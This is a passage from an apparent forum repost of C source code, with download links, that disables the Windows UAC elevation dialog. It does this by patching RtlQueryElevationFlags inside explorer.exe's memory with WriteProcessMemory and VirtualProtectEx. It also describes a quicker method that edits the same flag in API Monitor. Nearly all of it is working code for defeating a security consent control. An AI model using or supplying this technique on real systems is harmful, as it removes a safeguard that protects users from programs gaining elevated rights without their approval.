INVALID_HANDLE_VALUE) { _tprintf(_T("ERROR: Failed to retrieve module list.\n\tMake sure you run the 64-bit version on a 64-bit OS.\n")); return FALSE; } // Iterate through the list to find ntdll.dll me32.dwSize = sizeof(me32); if(Module32First(hModuleSnap, &me32)) { do { if(!_tcsicmp(me32.szModule, _T("ntdll.dll"))) { hModule = me32.hModule; break; } } while(Module32Next(hModuleSnap, &me32)); } CloseHandle(hModuleSnap); return hModule; } UINT_PTR GetRtlQueryElevationFlagsRva() { HMODULE hModule = GetModuleHandle(_T("ntdll.dll")); if(!hModule) { return 0; } FARPROC fpFunction = GetProcAddress(hModule, "RtlQueryElevationFlags"); if(!fpFunction) { _tprintf(_T("ERROR: RtlQueryElevationFlags is only available on Windows Vista and later\n")); return 0; } return (UINT_PTR)fpFunction - (UINT_PTR)hModule; } VOID UacElevationDisable(IN DWORD dwProcessId, IN HMODULE hNtDll) { // Get the RVA for RtlQueryElevationFlags UINT_PTR uRtlQueryElevationFlagsRva = GetRtlQueryElevationFlagsRva(); if(!uRtlQueryElevationFlagsRva) { return; } // Open process with permissions to perform virtual memory operations HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId); if(!hProcess) { _tprintf(_T("ERROR %u: Cannot open process\n"), GetLastError()); return; } __try { BYTE rgbyBuffer[BUFFER_SIZE]; SIZE_T sizeNumberOfBytesTransfered; LPVOID lpvApiAddress = (LPVOID)((UINT_PTR)hNtDll + uRtlQueryElevationFlagsRva); // Read data in from the start of RtlQueryElevationFlags if(!ReadProcessMemory(hProcess, lpvApiAddress, rgbyBuffer, sizeof(rgbyBuffer), &sizeNumberOfBytesTransfered) || sizeNumberOfBytesTransfered != sizeof(rgbyBuffer)) { _tprintf(_T("ERROR %u: Cannot read memory\n"), GetLastError()); __leave; } // Compare data to make sure it matches what we expect if(*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_1) != 0xC70674027FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_2) != 0x830374047FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_3) != 0x830374087FFE02F0) { _tprintf(_T("ERROR: Data Mismatch. Cannot Patch API\n"), GetLastError()); __leave; } // Check the current state if(rgbyBuffer[PATCH_BYTE_1] == 0x01 && rgbyBuffer[PATCH_BYTE_2] == 0x02 && rgbyBuffer[PATCH_BYTE_3] == 0x04) { _tprintf(_T("UAC Elevation Check is ON. Turning OFF\n")); } else if(rgbyBuffer[PATCH_BYTE_1] == 0x00 && rgbyBuffer[PATCH_BYTE_2] == 0x00 && rgbyBuffer[PATCH_BYTE_3] == 0x00) { _tprintf(_T("UAC Elevation Check is OFF. Turning ON\n")); } else { _tprintf(_T("UAC Elevation Check is UNKNOWN\n")); __leave; } // Patch bytes rgbyBuffer[PATCH_BYTE_1] ^= 0x01; rgbyBuffer[PATCH_BYTE_2] ^= 0x02; rgbyBuffer[PATCH_BYTE_3] ^= 0x04; LPVOID lpvPatchStartAddress = (LPVOID)((UINT_PTR)lpvApiAddress + PATCH_BYTE_1); // Write patched data back if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { __leave; } // Failed to write; unprotect the memory and retry BOOL bSuccess = FALSE; DWORD dwOldProtect; if(VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { // Retry writing patched data if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { bSuccess = TRUE; } VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, dwOldProtect, &dwOldProtect); } if(!bSuccess) { _tprintf(_T("ERROR: Cannot write memory\n")); } } __finally { CloseHandle(hProcess); } } int _tmain(int argc, _TCHAR* argv[]) { _tprintf(_T("UAC Elevation Enable/Disable\n© 2011 Rohitab Batra\nAll rights reserved.\nhttp://www.rohitab.com\n\n")); __try { DWORD dwExplorerProcessId = GetExplorerProcessId(); if(!dwExplorerProcessId) { _tprintf(_T("ERROR: Cannot find explorer.exe in the list of running processes\n")); __leave; } HMODULE hExplorerNtDll = GetNtDllModuleHandle(dwExplorerProcessId); if(!hExplorerNtDll) { _tprintf(_T("ERROR: Cannot find ntdll.dll in the explorer.exe\n")); __leave; } UacElevationDisable(dwExplorerProcessId, hExplorerNtDll); } __finally { } _tprintf(_T("Press ENTER to exit")); getchar(); return 0; } A quicker way to test this, without using the above code, is through API Monitor. Launch API Monitor, set a post-call breakpoint on RtlQueryElevationFlags and monitor explorer.exe. Now, run a process that requires elevation, such as regedit.exe. API Monitor will display the breakpoint dialog as shown below. Set the value at address pFlags to 0 and hit continue. This will run regedit.exe without the UAC elevation dialog. Download (x86 & x64): http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3332 http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3333 Sursa: Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer - rohitab.com - Forums
×
×
  • Create New...